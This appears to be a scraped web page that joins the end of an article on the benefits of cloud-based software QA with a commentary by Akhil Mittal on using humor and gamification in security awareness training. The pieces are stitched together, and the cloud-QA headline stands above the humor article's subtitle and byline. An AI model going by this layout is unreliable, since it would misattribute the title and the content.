Cost savings are a critical factor driving the adoption of cloud-based QA solutions. Traditional quality assurance infrastructures require substantial upfront capital investment in hardware, licenses, and ongoing maintenance. Cloud-based platforms, on the other hand, operate on a pay-as-you-go model, meaning that organizations only pay for the resources they use. This allows businesses to optimize their budgets, especially when workloads fluctuate.

The cloud also eliminates the need for dedicated physical infrastructure, reducing not only hardware costs but also associated overheads like energy consumption and IT staff for maintenance. The savings can be redirected toward improving other areas of software development and quality assurance, such as hiring additional QA specialists or investing in advanced tools.

****Enhanced Cooperation and Automation****

In today’s fast-paced software development lifecycle (SDLC), collaboration is essential to delivering high-quality software products. Cloud-based platforms enhance collaboration by providing a centralized repository where all team members can access QA data in real-time. This transparency ensures that everyone — from quality managers to QA professionals and developers — clearly understands the progress and can act swiftly to resolve issues.

Automation is another significant benefit offered by cloud-based solutions. Automated tools integrated within these platforms reduce the need for manual intervention, allowing QA teams to run extensive validation cases without delays. This is particularly useful for repetitive tasks like regression checks, where automation can dramatically cut down the time required for execution. As a result, QA teams can shift their focus to more critical aspects of the process, such as exploratory assessments or improving coverage.

****Improved Security and Compliance****

Security is a primary concern for businesses, particularly those in regulated industries such as healthcare and finance. Cloud-based solutions have evolved to offer strong security features that ensure data integrity and confidentiality. Leading cloud service providers often offer advanced encryption, multi-factor authentication, and compliance with international security standards.

Moreover, cloud-based QA platforms help organizations meet regulatory requirements by providing audit-ready documentation and traceability. Every action within the quality assurance process is logged, ensuring that companies can prove compliance during audits. This feature is invaluable for industries requiring strict data handling and security protocols.

****Integration with Existing Tools****

Another major advantage of cloud-based solutions is their ability to integrate seamlessly with existing tools and frameworks used in the software development lifecycle. Many QA teams rely on a mix of open-source and proprietary tools, which can be difficult to synchronize when operating on traditional infrastructures. Cloud platforms simplify this process by offering pre-built integrations with popular tools like Jira, Jenkins, and Azure DevOps.

This interoperability reduces the complexity of managing multiple systems and eliminates data silos. When all tools are connected within the cloud ecosystem, it becomes easier for teams to share information, monitor performance, and ensure that the entire software development process runs smoothly.

Cloud-based solutions are transforming the infrastructure of software quality assurance, offering unmatched scalability, flexibility, and cost-efficiency. As businesses continue to embrace digital transformation, cloud-based QA solutions will play an increasingly vital role in ensuring the success of software development projects, eliminating inefficiencies, and taking away the pains that have traditionally been associated with the quality assurance process.

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How Cloud-Based Solutions Are Transforming Software Quality Assurance

Thoughtfully applied, humor breaks through security fatigue, increases engagement, and fosters a culture of security awareness.

Akhil Mittal, Senior Manager, Synopsys Software Integrity Group

October 4, 2024

5 Min Read

Source: M-SUR via Alamy Stock Photo

COMMENTARY

In the high-pressure world of cybersecurity, daily headlines about breaches, ransomware, and phishing threats create a sense of urgency and tension. But what if one of the most effective tools for defense wasn't just technology, but humor? While it may seem unexpected, humor is emerging as a powerful asset in security training and culture-building. It boosts employee engagement, improves retention of key security concepts, and fosters a resilient security culture — ultimately strengthening an organization's defenses. 

However, humor isn't just about laughs — it's about combating challenges like security fatigue and ineffective training. As cyber threats evolve, the human element remains one of the weakest links. Humor can address that, but it must be carefully navigated. 

**Why Humor Works in Security Training**

According to a study from CompTIA, the human element accounts for the root cause of 52% of data breaches. Despite this, traditional cybersecurity training often fails to engage employees, resulting in low retention and inconsistent application of critical security behaviors. Dry, repetitive sessions packed with jargon cause employees to tune out — this is where humor comes in. 

According to TrainSmart, humor in training can boost retention and create a more relaxed learning environment. Research by Edutopia supports this, showing humor activates dopamine pathways, essential for motivation and memory retention. 

Imagine a monotonous security session versus a phishing simulation email from "IT Support" asking for your password to "upgrade the Internet." Humor transforms routine tasks into memorable learning experiences. 

**Real-World Examples**

Financial institutions and organizations are increasingly turning to gamification to enhance cybersecurity awareness. For example, some organizations have launched superhero-themed phishing campaigns where employees help fictional heroes identify threats, making training more interactive and fun. According to the Gamification at Work Survey by Talent LMS, 83% of participants reported feeling more motivated with gamified training, while 87% saw improvements in productivity and engagement. Additionally, 82% mentioned they felt happier at work due to these engaging methods. Similarly, some organizations use "bad password hall of fame" competitions, where employees guess the worst passwords ever used. These humorous contests make lessons about password strength more memorable, reinforcing security practices. Notably, 80% of organizations that implemented awareness training reported a reduction in phishing susceptibility, showcasing the effectiveness of these innovative approaches. 

**Reducing Security Fatigue**

Security fatigue is a growing issue in corporate environments. Employees face constant alerts, password updates, and phishing warnings, which can lead to negligence. 

Injecting humor into routine security tasks — like humorous phishing emails or lighthearted reminders — provides much-needed relief, keeping employees engaged without overwhelming them.

**Humor as a Solution for Remote Work**

The shift to remote work has highlighted the importance of engaging employees in security practices. Isolated from their IT teams, remote workers have become both the first and last lines of defense. However, 60% of remote employees feel disconnected from their company's cybersecurity efforts, according to Ponemon. In this environment, humor helps combat burnout, while reinforcing critical cybersecurity behaviors. 

**Risks and Challenges**

While humor can be effective, it also carries risks. If not implemented carefully, humor may trivialize serious threats, leading employees to view cybersecurity risks as less critical. Balance is key — humor should engage without undermining the importance of vigilance. 

Moreover, not all humor works in every context, particularly across diverse cultures. A cartoon-style phishing simulation may succeed in one region but be inappropriate elsewhere. To avoid alienating employees, it's crucial to test humor-based campaigns with different cultural groups before deployment. 

It's also critical to measure the effectiveness of humor in security training. Organizations should track phishing reporting rates, training completion, and quiz scores to assess engagement and overall security posture. 

**Learning From Mistakes **

Not all humor-based campaigns are successful. For instance, one company used sarcastic dark humor in its training sessions, which led to complaints from employees who felt the tone was dismissive of real security risks. The lesson? Humor that fails to take security seriously can do more harm than good. 

**Actionable Takeaways**

For organizations looking to enhance cybersecurity training with humor, here are some practical steps: 

*   Incorporate humor in training: Introduce humor into phishing simulations and training exercises to boost engagement and retention. 
    

*   Gamify security awareness: Create competitions or leaderboards where employees race to spot phishing attempts, using humor to reduce monotony. 
    

*   Test for cultural sensitivity: Ensure humor resonates globally by testing content with various employee groups before rolling it out. 
    

*   Track key metrics: Monitor phishing reporting rates, training completion, and engagement metrics to assess the effectiveness of humor in cybersecurity efforts.
    

**Conclusion**

Cybersecurity is serious, but it doesn't have to be boring. Thoughtfully applied, humor breaks through security fatigue, increases engagement, and fosters a culture of security awareness. By balancing humor and seriousness, organizations can strengthen their defenses while keeping employees alert and engaged. Now is the time to inject levity into cybersecurity efforts — without losing sight of vigilance. 

**About the Author**

Senior Manager, Synopsys Software Integrity Group

Akhil Mittal is a recognized cybersecurity leader with more than two decades of experience in application security, cloud security, and DevSecOps. As a Gartner Cybersecurity ambassador and senior manager at Synopsys, he leads key security initiatives, helping global organizations strengthen their defenses against advanced cyber threats. Akhil has worked closely with chief information security officers (CISOs) and executive leadership to align security strategies with business goals, ensuring robust protection across industries. He also contributes his expertise through leading cybersecurity publications and serves as a judge for top industry awards and hackathons. Certified in CISSP and CCSP, his work continues to shape the future of cybersecurity, driving innovation and resilience worldwide.

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